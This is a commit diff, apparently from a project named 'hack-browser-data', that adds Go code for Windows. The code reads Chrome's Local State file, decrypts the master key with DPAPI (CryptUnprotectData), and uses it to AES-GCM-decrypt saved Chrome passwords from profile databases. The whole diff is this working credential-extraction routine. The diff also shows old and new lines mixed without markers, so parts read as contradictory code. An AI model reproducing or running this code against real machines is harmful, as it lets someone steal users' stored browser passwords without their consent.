parent
86d8e7e16e
commit
31419dc003
@ -0,0 +1 @@ |
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package utils |
@ -1,26 +1,118 @@ |
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package utils |
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import ( |
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"crypto/aes" |
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"crypto/cipher" |
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"encoding/base64" |
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"hack-browser-data/log" |
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"os" |
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"path/filepath" |
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"syscall" |
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"unsafe" |
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"github.com/tidwall/gjson" |
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) |
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const ( |
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winChromeDir = "/Users/*/Library/Application Support/Google/Chrome/*/" |
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winChromeKeyDir = "/AppData/Local/Google/Chrome/User Data/Local State" |
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winChromeDir = "/AppData/Local/Google/Chrome/User Data/*/" |
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) |
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var ( |
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chromeKey []byte |
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) |
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func GetDBPath(dbName string) string { |
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s, err := filepath.Glob(winChromeDir + dbName) |
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func InitChromeKey() error { |
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chromeKeyPath := os.Getenv("USERPROFILE") + winChromeKeyDir |
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keyFile, err := ReadFile(chromeKeyPath) |
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if err != nil { |
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log.Error(err) |
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return err |
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} |
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s := gjson.Get(keyFile, "os_crypt.encrypted_key").String() |
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masterKey, err := base64.StdEncoding.DecodeString(s) |
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if err != nil { |
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return err |
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} |
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chromeKey, err = decryptStringWithDPAPI(masterKey[5:]) |
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return err |
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} |
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func GetDBPath(dbName ...string) (dbFile []string) { |
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var dbPath []string |
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chromeDBPath := os.Getenv("USERPROFILE") + winChromeDir |
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for _, v := range dbName { |
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dbPath = append(dbPath, chromeDBPath+v) |
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} |
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for _, v := range dbPath { |
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s, err := filepath.Glob(v) |
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if err != nil && len(s) == 0 { |
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panic(err) |
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continue |
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} |
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return s[0] |
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if len(s) > 0 { |
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log.Debugf("Find %s File Success", v) |
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log.Debugf("%s file location is %s", v, s[0]) |
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dbFile = append(dbFile, s[0]) |
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} |
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} |
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return dbFile |
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} |
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func AesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) { |
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func DecryptChromePass(encryptPass []byte) (string, error) { |
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if len(encryptPass) > 15 { |
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// remove prefix 'v10'
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return aesGCMDecrypt(encryptPass[15:], chromeKey, encryptPass[3:15]) |
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} else { |
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return "", passwordIsEmpty |
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} |
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} |
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// chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
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func aesGCMDecrypt(crypted, key, nounce []byte) (string, error) { |
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block, err := aes.NewCipher(key) |
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if err != nil { |
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return nil, err |
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return "", err |
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} |
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blockMode, _ := cipher.NewGCM(block) |
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origData, err := blockMode.Open(nil, nounce, crypted, nil) |
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if err != nil { |
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return "", err |
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} |
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return string(origData), nil |
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} |
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type DataBlob struct { |
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cbData uint32 |
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pbData *byte |
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} |
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func NewBlob(d []byte) *DataBlob { |
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if len(d) == 0 { |
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return &DataBlob{} |
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} |
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return &DataBlob{ |
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pbData: &d[0], |
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cbData: uint32(len(d)), |
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} |
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} |
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func (b *DataBlob) ToByteArray() []byte { |
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d := make([]byte, b.cbData) |
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copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) |
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return d |
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} |
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// chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
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func decryptStringWithDPAPI(data []byte) ([]byte, error) { |
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dllCrypt := syscall.NewLazyDLL("Crypt32.dll") |
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dllKernel := syscall.NewLazyDLL("Kernel32.dll") |
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procDecryptData := dllCrypt.NewProc("CryptUnprotectData") |
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procLocalFree := dllKernel.NewProc("LocalFree") |
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var outBlob DataBlob |
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r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob))) |
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if r == 0 { |
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return nil, err |
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} |
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return origData, nil |
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defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData))) |
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return outBlob.ToByteArray(), nil |
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} |
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